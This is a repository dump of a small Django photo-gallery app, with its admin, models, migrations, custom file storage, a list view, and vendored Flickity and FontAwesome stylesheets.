57 | 'create_time', 58 | 'update_time' 59 | ) 60 | fields = ( 61 | 'img_title', 62 | 'img_context', 63 | 'img_tags', 64 | 'img_group', 65 | 'author', 66 | 'like_count', 67 | 'display', 68 | 'img_upload', 69 | 'image_view' 70 | ) 71 | 72 | # readonly_fields为设置该列不可编辑 73 | readonly_fields = ('image_view', 'update_time') 74 | 75 | 76 | class TagAdmin(admin.ModelAdmin): 77 | pass 78 | 79 | 80 | class PhotoGroupAdmin(admin.ModelAdmin): 81 | pass 82 | 83 | 84 | class IndexBackgroundAdmin(admin.ModelAdmin): 85 | list_display = ('name', 'img_upload',) 86 | fields = ('name', 'img_upload', 'image_view') 87 | readonly_fields = ('image_view',) 88 | 89 | 90 | admin.site.register(Tag, TagAdmin) 91 | admin.site.register(Photo, PhotoAdmin) 92 | admin.site.register(PhotoGroup, PhotoGroupAdmin) 93 | admin.site.register(IndexBackground, IndexBackgroundAdmin) -------------------------------------------------------------------------------- /django/webphoto/show/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class ShowConfig(AppConfig): 5 | name = 'show' 6 | -------------------------------------------------------------------------------- /django/webphoto/show/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11 on 2018-11-17 05:04 3 | from __future__ import unicode_literals 4 | 5 | from django.conf import settings 6 | from django.db import migrations, models 7 | import django.db.models.deletion 8 | import show.storage 9 | 10 | 11 | class Migration(migrations.Migration): 12 | 13 | initial = True 14 | 15 | dependencies = [ 16 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 17 | ] 18 | 19 | operations = [ 20 | migrations.CreateModel( 21 | name='IndexBackground', 22 | fields=[ 23 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 24 | ('name', models.CharField(max_length=20, verbose_name='背景名')), 25 | ('img_upload', models.ImageField(storage=show.storage.BackgroundStorage(), upload_to='background', verbose_name='图片上传路径')), 26 | ], 27 | options={ 28 | 'verbose_name': '背景图片', 29 | 'verbose_name_plural': '背景图片', 30 | }, 31 | ), 32 | migrations.CreateModel( 33 | name='Photo', 34 | fields=[ 35 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 36 | ('img_upload', models.ImageField(storage=show.storage.ImageStorage(), upload_to='img/%Y/%m/%d', verbose_name='图片上传路径')), 37 | ('img_title', models.CharField(max_length=100, unique=True, verbose_name='图片标题')), 38 | ('img_context', models.TextField(blank=True, max_length=100, null=True, verbose_name='图片介绍')), 39 | ('is_top', models.BooleanField(default=False, verbose_name='置顶')), 40 | ('like_count', models.IntegerField(default=0, verbose_name='点赞数')), 41 | ('display', models.BooleanField(default=True, verbose_name='显示')), 42 | ('create_time', models.DateTimeField(auto_now_add=True, verbose_name='图片发布时间')), 43 | ('update_time', models.DateTimeField(auto_now=True, verbose_name='图片更新时间')), 44 | ('author', models.ForeignKey(default='admin', on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='作者')), 45 | ], 46 | options={ 47 | 'verbose_name': '照片', 48 | 'verbose_name_plural': '照片', 49 | }, 50 | ), 51 | migrations.CreateModel( 52 | name='PhotoGroup', 53 | fields=[ 54 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 55 | ('name', models.CharField(max_length=20, verbose_name='相册名')), 56 | ], 57 | options={ 58 | 'verbose_name': '相册', 59 | 'verbose_name_plural': '相册', 60 | 'ordering': ['id'], 61 | }, 62 | ), 63 | migrations.CreateModel( 64 | name='Tag', 65 | fields=[ 66 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 67 | ('name', models.CharField(blank=True, max_length=20, null=True)), 68 | ], 69 | options={ 70 | 'verbose_name': '标签', 71 | 'verbose_name_plural': '标签', 72 | 'ordering': ['id'], 73 | }, 74 | ), 75 | migrations.AddField( 76 | model_name='photo', 77 | name='img_group', 78 | field=models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, to='show.PhotoGroup'), 79 | ), 80 | migrations.AddField( 81 | model_name='photo', 82 | name='img_tags', 83 | field=models.ManyToManyField(blank=True, to='show.Tag'), 84 | ), 85 | ] 86 | -------------------------------------------------------------------------------- /django/webphoto/show/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/migrations/__init__.py -------------------------------------------------------------------------------- /django/webphoto/show/migrations/__pycache__/0001_initial.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/migrations/__pycache__/0001_initial.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/migrations/__pycache__/__init__.cpython-36.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhengyscn/python-doc/c2980cd8f5aa704623989e0c6725b962b2c09e48/django/webphoto/show/migrations/__pycache__/__init__.cpython-36.pyc -------------------------------------------------------------------------------- /django/webphoto/show/models.py: -------------------------------------------------------------------------------- 1 | from .storage import ImageStorage, BackgroundStorage 2 | 3 | from django.db import models 4 | from django.conf import settings 5 | from django.contrib.auth.models import User 6 | from django.utils.html import format_html 7 | 8 | 9 | class Photo(models.Model): 10 | ''' 11 | 照片的数据模型 12 | ''' 13 | img_upload = models.ImageField(u'图片上传路径', upload_to='img/%Y/%m/%d', storage=ImageStorage()) 14 | img_title = models.CharField(max_length=100, unique=True, verbose_name=u'图片标题') 15 | img_context = models.TextField(max_length=100, null=True, blank=True, verbose_name=u'图片介绍') 16 | img_tags = models.ManyToManyField('Tag', blank=True) 17 | is_top = models.BooleanField(u'置顶', default=False) 18 | img_group = models.ForeignKey('PhotoGroup', blank=True) 19 | like_count = models.IntegerField(u'点赞数', default=0) 20 | display = models.BooleanField(default=True, verbose_name=u'显示') 21 | author = models.ForeignKey(User, default='admin', verbose_name=u'作者') 22 | create_time = models.DateTimeField(u'图片发布时间', auto_now_add=True) 23 | update_time = models.DateTimeField(u'图片更新时间', auto_now=True) 24 | 25 | 26 | def image_view(self): 27 | # return u'' % (settings.MEDIA_URL + str(self.img_upload)) 28 | return format_html(u'' % (settings.MEDIA_URL + str(self.img_upload))) 29 | 30 | # 页面显示的字段名称 31 | image_view.short_description = '图片展示' 32 | image_view.allow_tags = True 33 | 34 | def __str__(self): 35 | return self.img_title 36 | 37 | class Meta: 38 | verbose_name = u'照片' 39 | verbose_name_plural = u'照片' 40 | 41 | 42 | class Tag(models.Model): 43 | """ 44 | 标签的数据模型 45 | """ 46 | name = models.CharField(max_length=20, null=True, blank=True, ) 47 | 48 | def __str__(self): 49 | return self.name 50 | 51 | class Meta: 52 | ordering = ['id'] 53 | verbose_name = u'标签' 54 | verbose_name_plural = u'标签' 55 | 56 | 57 | class PhotoGroup(models.Model): 58 | """ 59 | 标签的数据模型 60 | """ 61 | name = models.CharField(max_length=20, verbose_name=u'相册名') 62 | 63 | def __str__(self): 64 | return self.name 65 | 66 | class Meta: 67 | ordering = ['id'] 68 | verbose_name = u'相册' 69 | verbose_name_plural = u'相册' 70 | 71 | 72 | 73 | class IndexBackground(models.Model): 74 | """ 75 | 相册背景图片的数据模型 76 | """ 77 | name = models.CharField(max_length=20, verbose_name=u'背景名') 78 | img_upload = models.ImageField(u'图片上传路径', upload_to='background', storage=BackgroundStorage()) 79 | 80 | def image_view(self): 81 | return u'' % (settings.MEDIA_URL + str(self.img_upload)) 82 | 83 | image_view.short_description = '图片展示' 84 | image_view.allow_tags = True 85 | 86 | class Meta: 87 | verbose_name = u'背景图片' 88 | verbose_name_plural = u'背景图片' -------------------------------------------------------------------------------- /django/webphoto/show/storage.py: -------------------------------------------------------------------------------- 1 | from django.core.files.storage import FileSystemStorage 2 | from django.conf import settings 3 | import os, time, random 4 | 5 | 6 | 7 | class ImageStorage(FileSystemStorage): 8 | 9 | def _save(self, name=settings.MEDIA_ROOT, content=settings.MEDIA_URL): 10 | # 文件扩展名 11 | fileext = os.path.splitext(name)[1] 12 | # 文件目录 13 | d = os.path.dirname(name) 14 | # 定义文件名,年月日时分秒随机数 15 | fntime = time.strftime('%Y%m%d%H%M%S') + '_%d' % random.randint(0, 100) 16 | # 重写合成文件名 17 | name = os.path.join(d, fntime + fileext) 18 | # 调用父类方法 19 | return super(ImageStorage, self)._save(name, content) 20 | 21 | 22 | class BackgroundStorage(FileSystemStorage): 23 | 24 | def _save(self, name=settings.MEDIA_ROOT, content=settings.MEDIA_URL): 25 | # 文件目录 26 | d = os.path.dirname(name) 27 | # 定义文件名,年月日时分秒随机数 28 | fntime = 'bg.jpg' 29 | # 重写合成文件名 30 | name = os.path.join(d, fntime) 31 | # 调用父类方法 32 | return super(BackgroundStorage, self)._save(name, content) -------------------------------------------------------------------------------- /django/webphoto/show/tests.py: -------------------------------------------------------------------------------- 1 | from django.test import TestCase 2 | 3 | # Create your tests here. 4 | -------------------------------------------------------------------------------- /django/webphoto/show/views.py: -------------------------------------------------------------------------------- 1 | from .models import Photo, PhotoGroup 2 | 3 | from django.views.generic.list import ListView 4 | 5 | 6 | class PhotoListView(ListView): 7 | template_name = 'photo_list.html' 8 | context_object_name = 'photo_list' 9 | 10 | def get_queryset(self): 11 | groups = PhotoGroup.objects.all() 12 | photodata = {} 13 | for group in groups: 14 | article_list = Photo.objects.filter(img_group__name=group).filter(display=True) 15 | photodata[group] = article_list 16 | return photodata -------------------------------------------------------------------------------- /django/webphoto/static/css/flickity.css: -------------------------------------------------------------------------------- 1 | /*! Flickity v1.0.0 2 | http://flickity.metafizzy.co 3 | ---------------------------------------------- */ 4 | 5 | .flickity-enabled { 6 | position: relative; 7 | } 8 | 9 | .flickity-enabled:focus { outline: none; } 10 | 11 | .flickity-viewport { 12 | overflow: hidden; 13 | position: relative; 14 | height: 100%; 15 | } 16 | 17 | .flickity-slider { 18 | position: absolute; 19 | width: 100%; 20 | height: 100%; 21 | } 22 | 23 | /* draggable */ 24 | 25 | .flickity-enabled.is-draggable { 26 | -webkit-user-select: none; 27 | -moz-user-select: none; 28 | -ms-user-select: none; 29 | user-select: none; 30 | } 31 | 32 | .flickity-enabled.is-draggable .flickity-viewport { 33 | cursor: move; 34 | cursor: -webkit-grab; 35 | cursor: grab; 36 | } 37 | 38 | .flickity-enabled.is-draggable .flickity-viewport.is-pointer-down { 39 | cursor: -webkit-grabbing; 40 | cursor: grabbing; 41 | } 42 | 43 | /* ---- previous/next buttons ---- */ 44 | 45 | .flickity-prev-next-button { 46 | position: absolute; 47 | top: 50%; 48 | width: 44px; 49 | height: 44px; 50 | border: none; 51 | border-radius: 50%; 52 | background: white; 53 | background: hsla(0, 0%, 100%, 0.75); 54 | cursor: pointer; 55 | /* vertically center */ 56 | -webkit-transform: translateY(-50%); 57 | -ms-transform: translateY(-50%); 58 | transform: translateY(-50%); 59 | } 60 | 61 | .flickity-prev-next-button:hover { background: white; } 62 | 63 | .flickity-prev-next-button:focus { 64 | outline: none; 65 | box-shadow: 0 0 0 5px #09F; 66 | } 67 | 68 | .flickity-prev-next-button:active { 69 | filter: alpha(opacity=60); /* IE8 */ 70 | opacity: 0.6; 71 | } 72 | 73 | .flickity-prev-next-button.previous { left: 10px; } 74 | .flickity-prev-next-button.next { right: 10px; } 75 | /* right to left */ 76 | .flickity-rtl .flickity-prev-next-button.previous { 77 | left: auto; 78 | right: 10px; 79 | } 80 | .flickity-rtl .flickity-prev-next-button.next { 81 | right: auto; 82 | left: 10px; 83 | } 84 | 85 | .flickity-prev-next-button:disabled { 86 | filter: alpha(opacity=30); /* IE8 */ 87 | opacity: 0.3; 88 | cursor: auto; 89 | } 90 | 91 | .flickity-prev-next-button svg { 92 | position: absolute; 93 | left: 20%; 94 | top: 20%; 95 | width: 60%; 96 | height: 60%; 97 | } 98 | 99 | .flickity-prev-next-button .arrow { 100 | fill: #333; 101 | } 102 | 103 | /* color & size if no SVG - IE8 and Android 2.3 */ 104 | .flickity-prev-next-button.no-svg { 105 | color: #333; 106 | font-size: 26px; 107 | } 108 | 109 | /* ---- page dots ---- */ 110 | 111 | .flickity-page-dots { 112 | position: absolute; 113 | width: 100%; 114 | bottom: -25px; 115 | padding: 0; 116 | margin: 0; 117 | list-style: none; 118 | text-align: center; 119 | line-height: 1; 120 | } 121 | 122 | .flickity-rtl .flickity-page-dots { direction: rtl; } 123 | 124 | .flickity-page-dots .dot { 125 | display: inline-block; 126 | width: 10px; 127 | height: 10px; 128 | margin: 0 8px; 129 | background: #333; 130 | border-radius: 50%; 131 | filter: alpha(opacity=25); /* IE8 */ 132 | opacity: 0.25; 133 | cursor: pointer; 134 | } 135 | 136 | .flickity-page-dots .dot.is-selected { 137 | filter: alpha(opacity=100); /* IE8 */ 138 | opacity: 1; 139 | } 140 | -------------------------------------------------------------------------------- /django/webphoto/static/css/font-awesome.min.css: -------------------------------------------------------------------------------- 1 | @font-face { 2 | font-family: 'FontAwesome'; 3 | src: url('../fonts/fontawesome/fontawesome-webfont.eot?v=3.2.1'); 4 | src: url('../fonts/fontawesome/fontawesome-webfont.eot?#iefix&v=3.2.1') format('embedded-opentype'), 5 | url('../fonts/fontawesome/fontawesome-webfont.woff?v=3.2.1') format('woff'), 6 | url('../fonts/fontawesome/fontawesome-webfont.ttf?v=3.2.1') format('truetype'), 7 | url('../fonts/fontawesome/fontawesome-webfont.svg#fontawesomeregular?v=3.2.1') format('svg'); 8 | font-weight: normal; 9 | font-style: normal; 10 | } 11 | 12 | [class^="icon-"], [class*=" icon-"] { 13 | font-family: FontAwesome; 14 | font-weight: normal; 15 | font-style: normal; 16 | text-decoration: inherit; 17 | -webkit-font-smoothing: antialiased; 18 | *margin-right: .3em; 19 | } 20 | 21 | [class^="icon-"]:before, [class*=" icon-"]:before { 22 | text-decoration: inherit; 23 | display: inline-block; 24 | speak: none; 25 | } 26 | .icon-large:before{vertical-align:-10%;font-size:1.3333333333333333em;} 27 | a [class^="icon-"],a [class*=" icon-"]{display:inline;} 28 | [class^="icon-"].icon-fixed-width,[class*=" icon-"].icon-fixed-width{display:inline-block;width:1.1428571428571428em;text-align:right;padding-right:0.2857142857142857em;}[class^="icon-"].icon-fixed-width.icon-large,[class*=" icon-"].icon-fixed-width.icon-large{width:1.4285714285714286em;} 29 | .icons-ul{margin-left:2.142857142857143em;list-style-type:none;}.icons-ul>li{position:relative;} 30 | .icons-ul .icon-li{position:absolute;left:-2.142857142857143em;width:2.142857142857143em;text-align:center;line-height:inherit;} 31 | [class^="icon-"].hide,[class*=" icon-"].hide{display:none;} 32 | .icon-muted{color:#eeeeee;} 33 | .icon-light{color:#ffffff;} 34 | .icon-dark{color:#333333;} 35 | .icon-border{border:solid 1px #eeeeee;padding:.2em .25em .15em;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px;} 36 | .icon-2x{font-size:2em;}.icon-2x.icon-border{border-width:2px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;} 37 | .icon-3x{font-size:3em;}.icon-3x.icon-border{border-width:3px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} 38 | .icon-4x{font-size:4em;}.icon-4x.icon-border{border-width:4px;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} 39 | .icon-5x{font-size:5em;}.icon-5x.icon-border{border-width:5px;-webkit-border-radius:7px;-moz-border-radius:7px;border-radius:7px;} 40 | .pull-right{float:right;} 41 | .pull-left{float:left;} 42 | [class^="icon-"].pull-left,[class*=" icon-"].pull-left{margin-right:.3em;} 43 | [class^="icon-"].pull-right,[class*=" icon-"].pull-right{margin-left:.3em;} 44 | [class^="icon-"],[class*=" icon-"]{display:inline;width:auto;height:auto;line-height:normal;vertical-align:baseline;background-image:none;background-position:0% 0%;background-repeat:repeat;margin-top:0;} 45 | .icon-white,.nav-pills>.active>a>[class^="icon-"],.nav-pills>.active>a>[class*=" icon-"],.nav-list>.active>a>[class^="icon-"],.nav-list>.active>a>[class*=" icon-"],.navbar-inverse .nav>.active>a>[class^="icon-"],.navbar-inverse .nav>.active>a>[class*=" icon-"],.dropdown-menu>li>a:hover>[class^="icon-"],.dropdown-menu>li>a:hover>[class*=" icon-"],.dropdown-menu>.active>a>[class^="icon-"],.dropdown-menu>.active>a>[class*=" icon-"],.dropdown-submenu:hover>a>[class^="icon-"],.dropdown-submenu:hover>a>[class*=" icon-"]{background-image:none;} 46 | .btn [class^="icon-"].icon-large,.nav [class^="icon-"].icon-large,.btn [class*=" icon-"].icon-large,.nav [class*=" icon-"].icon-large{line-height:.9em;} 47 | .btn [class^="icon-"].icon-spin,.nav [class^="icon-"].icon-spin,.btn [class*=" icon-"].icon-spin,.nav [class*=" icon-"].icon-spin{display:inline-block;} 48 | .nav-tabs [class^="icon-"],.nav-pills [class^="icon-"],.nav-tabs [class*=" icon-"],.nav-pills [class*=" icon-"],.nav-tabs [class^="icon-"].icon-large,.nav-pills [class^="icon-"].icon-large,.nav-tabs [class*=" icon-"].icon-large,.nav-pills [class*=" icon-"].icon-large{line-height:.9em;} 49 | .btn [class^="icon-"].pull-left.icon-2x,.btn [class*=" icon-"].pull-left.icon-2x,.btn [class^="icon-"].pull-right.icon-2x,.btn [class*=" icon-"].pull-right.icon-2x{margin-top:.18em;} 50 | .btn [class^="icon-"].icon-spin.icon-large,.btn [class*=" icon-"].icon-spin.icon-large{line-height:.8em;} 51 | .btn.btn-small [class^="icon-"].pull-left.icon-2x,.btn.btn-small [class*=" icon-"].pull-left.icon-2x,.btn.btn-small [class^="icon-"].pull-right.icon-2x,.btn.btn-small [class*=" icon-"].pull-right.icon-2x{margin-top:.25em;} 52 | .btn.btn-large [class^="icon-"],.btn.btn-large [class*=" icon-"]{margin-top:0;}.btn.btn-large [class^="icon-"].pull-left.icon-2x,.btn.btn-large [class*=" icon-"].pull-left.icon-2x,.btn.btn-large [class^="icon-"].pull-right.icon-2x,.btn.btn-large [class*=" icon-"].pull-right.icon-2x{margin-top:.05em;} 53 | .btn.btn-large [class^="icon-"].pull-left.icon-2x,.btn.btn-large [class*=" icon-"].pull-left.icon-2x{margin-right:.2em;} 54 | .btn.btn-large [class^="icon-"].pull-right.icon-2x,.btn.btn-large [class*=" icon-"].pull-right.icon-2x{margin-left:.2em;} 55 | .nav-list [class^="icon-"],.nav-list [class*=" icon-"]{line-height:inherit;} 56 | .icon-stack{position:relative;display:inline-block;width:2em;height:2em;line-height:2em;vertical-align:-35%;}.icon-stack [class^="icon-"],.icon-stack [class*=" icon-"]{display:block;text-align:center;position:absolute;width:100%;height:100%;font-size:1em;line-height:inherit;*line-height:2em;} 57 | .icon-stack .icon-stack-base{font-size:2em;*line-height:1em;} 58 | .icon-spin{display:inline-block;-moz-animation:spin 2s infinite linear;-o-animation:spin 2s infinite linear;-webkit-animation:spin 2s infinite linear;animation:spin 2s infinite linear;} 59 | a .icon-stack,a .icon-spin{display:inline-block;text-decoration:none;} 60 | @-moz-keyframes spin{0%{-moz-transform:rotate(0deg);} 100%{-moz-transform:rotate(359deg);}}@-webkit-keyframes spin{0%{-webkit-transform:rotate(0deg);} 100%{-webkit-transform:rotate(359deg);}}@-o-keyframes spin{0%{-o-transform:rotate(0deg);} 100%{-o-transform:rotate(359deg);}}@-ms-keyframes spin{0%{-ms-transform:rotate(0deg);} 100%{-ms-transform:rotate(359deg);}}@keyframes spin{0%{transform:rotate(0deg);} 100%{transform:rotate(359deg);}}.icon-rotate-90:before{-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);-o-transform:rotate(90deg);transform:rotate(90deg);filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=1);} 61 | .icon-rotate-180:before{-webkit-transform:rotate(180deg);-moz-transform:rotate(180deg);-ms-transform:rotate(180deg);-o-transform:rotate(180deg);transform:rotate(180deg);filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=2);} 62 | .icon-rotate-270:before{-webkit-transform:rotate(270deg);-moz-transform:rotate(270deg);-ms-transform:rotate(270deg);-o-transform:rotate(270deg);transform:rotate(270deg);filter:progid:DXImageTransform.Microsoft.BasicImage(rotation=3);} 63 | .icon-flip-horizontal:before{-webkit-transform:scale(-1, 1);-moz-transform:scale(-1, 1);-ms-transform:scale(-1, 1);-o-transform:scale(-1, 1);transform:scale(-1, 1);} 64 | .icon-flip-vertical:before{-webkit-transform:scale(1, -1);-moz-transform:scale(1, -1);-ms-transform:scale(1, -1);-o-transform:scale(1, -1);transform:scale(1, -1);} 65 | a .icon-rotate-90:before,a .icon-rotate-180:before,a .icon-rotate-270:before,a .icon-flip-horizontal:before,a .icon-flip-vertical:before{display:inline-block;} 66 | .icon-glass:before{content:"\f000";} 67 | .icon-music:before{content:"\f001";} 68 | .icon-search:before{content:"\f002";} 69 | .icon-envelope-alt:before{content:"\f003";} 70 | .icon-heart:before{content:"\f004";} 71 | .icon-star:before{content:"\f005";} 72 | .icon-star-empty:before{content:"\f006";} 73 | .icon-user:before{content:"\f007";} 74 | .icon-film:before{content:"\f008";} 75 | .icon-th-large:before{content:"\f009";} 76 | .icon-th:before{content:"\f00a";} 77 | .icon-th-list:before{content:"\f00b";} 78 | .icon-ok:before{content:"\f00c";} 79 | .icon-remove:before{content:"\f00d";} 80 | .icon-zoom-in:before{content:"\f00e";} 81 | .icon-zoom-out:before{content:"\f010";} 82 | .icon-power-off:before,.icon-off:before{content:"\f011";} 83 | .icon-signal:before{content:"\f012";} 84 | .icon-gear:before,.icon-cog:before{content:"\f013";} 85 | .icon-trash:before{content:"\f014";} 86 | .icon-home:before{content:"\f015";} 87 | .icon-file-alt:before{content:"\f016";} 88 | .icon-time:before{content:"\f017";} 89 | .icon-road:before{content:"\f018";} 90 | .icon-download-alt:before{content:"\f019";} 91 | .icon-download:before{content:"\f01a";} 92 | .icon-upload:before{content:"\f01b";} 93 | .icon-inbox:before{content:"\f01c";} 94 | .icon-play-circle:before{content:"\f01d";} 95 | .icon-rotate-right:before,.icon-repeat:before{content:"\f01e";} 96 | .icon-refresh:before{content:"\f021";} 97 | .icon-list-alt:before{content:"\f022";} 98 | .icon-lock:before{content:"\f023";} 99 | .icon-flag:before{content:"\f024";} 100 | .icon-headphones:before{content:"\f025";} 101 | .icon-volume-off:before{content:"\f026";} 102 | .icon-volume-down:before{content:"\f027";} 103 | .icon-volume-up:before{content:"\f028";} 104 | .icon-qrcode:before{content:"\f029";} 105 | .icon-barcode:before{content:"\f02a";} 106 | .icon-tag:before{content:"\f02b";} 107 | .icon-tags:before{content:"\f02c";} 108 | .icon-book:before{content:"\f02d";} 109 | .icon-bookmark:before{content:"\f02e";} 110 | .icon-print:before{content:"\f02f";} 111 | .icon-camera:before{content:"\f030";} 112 | .icon-font:before{content:"\f031";} 113 | .icon-bold:before{content:"\f032";} 114 | .icon-italic:before{content:"\f033";} 115 | .icon-text-height:before{content:"\f034";} 116 | .icon-text-width:before{content:"\f035";} 117 | .icon-align-left:before{content:"\f036";} 118 | .icon-align-center:before{content:"\f037";} 119 | .icon-align-right:before{content:"\f038";} 120 | .icon-align-justify:before{content:"\f039";} 121 | .icon-list:before{content:"\f03a";} 122 | .icon-indent-left:before{content:"\f03b";} 123 | .icon-indent-right:before{content:"\f03c";} 124 | .icon-facetime-video:before{content:"\f03d";} 125 | .icon-picture:before{content:"\f03e";} 126 | .icon-pencil:before{content:"\f040";} 127 | .icon-map-marker:before{content:"\f041";} 128 | .icon-adjust:before{content:"\f042";} 129 | .icon-tint:before{content:"\f043";} 130 | .icon-edit:before{content:"\f044";} 131 | .icon-share:before{content:"\f045";} 132 | .icon-check:before{content:"\f046";} 133 | .icon-move:before{content:"\f047";} 134 | .icon-step-backward:before{content:"\f048";} 135 | .icon-fast-backward:before{content:"\f049";} 136 | .icon-backward:before{content:"\f04a";} 137 | .icon-play:before{content:"\f04b";} 138 | .icon-pause:before{content:"\f04c";} 139 | .icon-stop:before{content:"\f04d";} 140 | .icon-forward:before{content:"\f04e";} 141 | .icon-fast-forward:before{content:"\f050";} 142 | .icon-step-forward:before{content:"\f051";} 143 | .icon-eject:before{content:"\f052";} 144 | .icon-chevron-left:before{content:"\f053";} 145 | .icon-chevron-right:before{content:"\f054";} 146 | .icon-plus-sign:before{content:"\f055";} 147 | .icon-minus-sign:before{content:"\f056";} 148 | .icon-remove-sign:before{content:"\f057";} 149 | .icon-ok-sign:before{content:"\f058";} 150 | .icon-question-sign:before{content:"\f059";} 151 | .icon-info-sign:before{content:"\f05a";} 152 | .icon-screenshot:before{content:"\f05b";} 153 | .icon-remove-circle:before{content:"\f05c";} 154 | .icon-ok-circle:before{content:"\f05d";} 155 | .icon-ban-circle:before{content:"\f05e";} 156 | .icon-arrow-left:before{content:"\f060";} 157 | .icon-arrow-right:before{content:"\f061";} 158 | .icon-arrow-up:before{content:"\f062";} 159 | .icon-arrow-down:before{content:"\f063";} 160 | .icon-mail-forward:before,.icon-share-alt:before{content:"\f064";} 161 | .icon-resize-full:before{content:"\f065";} 162 | .icon-resize-small:before{content:"\f066";} 163 | .icon-plus:before{content:"\f067";} 164 | .icon-minus:before{content:"\f068";} 165 | .icon-asterisk:before{content:"\f069";} 166 | .icon-exclamation-sign:before{content:"\f06a";} 167 | .icon-gift:before{content:"\f06b";} 168 | .icon-leaf:before{content:"\f06c";} 169 | .icon-fire:before{content:"\f06d";} 170 | .icon-eye-open:before{content:"\f06e";} 171 | .icon-eye-close:before{content:"\f070";} 172 | .icon-warning-sign:before{content:"\f071";} 173 | .icon-plane:before{content:"\f072";} 174 | .icon-calendar:before{content:"\f073";} 175 | .icon-random:before{content:"\f074";} 176 | .icon-comment:before{content:"\f075";} 177 | .icon-magnet:before{content:"\f076";} 178 | .icon-chevron-up:before{content:"\f077";} 179 | .icon-chevron-down:before{content:"\f078";} 180 | .icon-retweet:before{content:"\f079";} 181 | .icon-shopping-cart:before{content:"\f07a";} 182 | .icon-folder-close:before{content:"\f07b";} 183 | .icon-folder-open:before{content:"\f07c";} 184 | .icon-resize-vertical:before{content:"\f07d";} 185 | .icon-resize-horizontal:before{content:"\f07e";} 186 | .icon-bar-chart:before{content:"\f080";} 187 | .icon-twitter-sign:before{content:"\f081";} 188 | .icon-facebook-sign:before{content:"\f082";} 189 | .icon-camera-retro:before{content:"\f083";} 190 | .icon-key:before{content:"\f084";} 191 | .icon-gears:before,.icon-cogs:before{content:"\f085";} 192 | .icon-comments:before{content:"\f086";} 193 | .icon-thumbs-up-alt:before{content:"\f087";} 194 | .icon-thumbs-down-alt:before{content:"\f088";} 195 | .icon-star-half:before{content:"\f089";} 196 | .icon-heart-empty:before{content:"\f08a";} 197 | .icon-signout:before{content:"\f08b";} 198 | .icon-linkedin-sign:before{content:"\f08c";} 199 | .icon-pushpin:before{content:"\f08d";} 200 | .icon-external-link:before{content:"\f08e";} 201 | .icon-signin:before{content:"\f090";} 202 | .icon-trophy:before{content:"\f091";} 203 | .icon-github-sign:before{content:"\f092";} 204 | .icon-upload-alt:before{content:"\f093";} 205 | .icon-lemon:before{content:"\f094";} 206 | .icon-phone:before{content:"\f095";} 207 | .icon-unchecked:before,.icon-check-empty:before{content:"\f096";} 208 | .icon-bookmark-empty:before{content:"\f097";} 209 | .icon-phone-sign:before{content:"\f098";} 210 | .icon-twitter:before{content:"\f099";} 211 | .icon-facebook:before{content:"\f09a";} 212 | .icon-github:before{content:"\f09b";} 213 | .icon-unlock:before{content:"\f09c";} 214 | .icon-credit-card:before{content:"\f09d";} 215 | .icon-rss:before{content:"\f09e";} 216 | .icon-hdd:before{content:"\f0a0";} 217 | .icon-bullhorn:before{content:"\f0a1";} 218 | .icon-bell:before{content:"\f0a2";} 219 | .icon-certificate:before{content:"\f0a3";} 220 | .icon-hand-right:before{content:"\f0a4";} 221 | .icon-hand-left:before{content:"\f0a5";} 222 | .icon-hand-up:before{content:"\f0a6";} 223 | .icon-hand-down:before{content:"\f0a7";} 224 | .icon-circle-arrow-left:before{content:"\f0a8";} 225 | .icon-circle-arrow-right:before{content:"\f0a9";} 226 | .icon-circle-arrow-up:before{content:"\f0aa";} 227 | .icon-circle-arrow-down:before{content:"\f0ab";} 228 | .icon-globe:before{content:"\f0ac";} 229 | .icon-wrench:before{content:"\f0ad";} 230 | .icon-tasks:before{content:"\f0ae";} 231 | .icon-filter:before{content:"\f0b0";} 232 | .icon-briefcase:before{content:"\f0b1";} 233 | .icon-fullscreen:before{content:"\f0b2";} 234 | .icon-group:before{content:"\f0c0";} 235 | .icon-link:before{content:"\f0c1";} 236 | .icon-cloud:before{content:"\f0c2";} 237 | .icon-beaker:before{content:"\f0c3";} 238 | .icon-cut:before{content:"\f0c4";} 239 | .icon-copy:before{content:"\f0c5";} 240 | .icon-paperclip:before,.icon-paper-clip:before{content:"\f0c6";} 241 | .icon-save:before{content:"\f0c7";} 242 | .icon-sign-blank:before{content:"\f0c8";} 243 | .icon-reorder:before{content:"\f0c9";} 244 | .icon-list-ul:before{content:"\f0ca";} 245 | .icon-list-ol:before{content:"\f0cb";} 246 | .icon-strikethrough:before{content:"\f0cc";} 247 | .icon-underline:before{content:"\f0cd";} 248 | .icon-table:before{content:"\f0ce";} 249 | .icon-magic:before{content:"\f0d0";} 250 | .icon-truck:before{content:"\f0d1";} 251 | .icon-pinterest:before{content:"\f0d2";} 252 | .icon-pinterest-sign:before{content:"\f0d3";} 253 | .icon-google-plus-sign:before{content:"\f0d4";} 254 | .icon-google-plus:before{content:"\f0d5";} 255 | .icon-money:before{content:"\f0d6";} 256 | .icon-caret-down:before{content:"\f0d7";} 257 | .icon-caret-up:before{content:"\f0d8";} 258 | 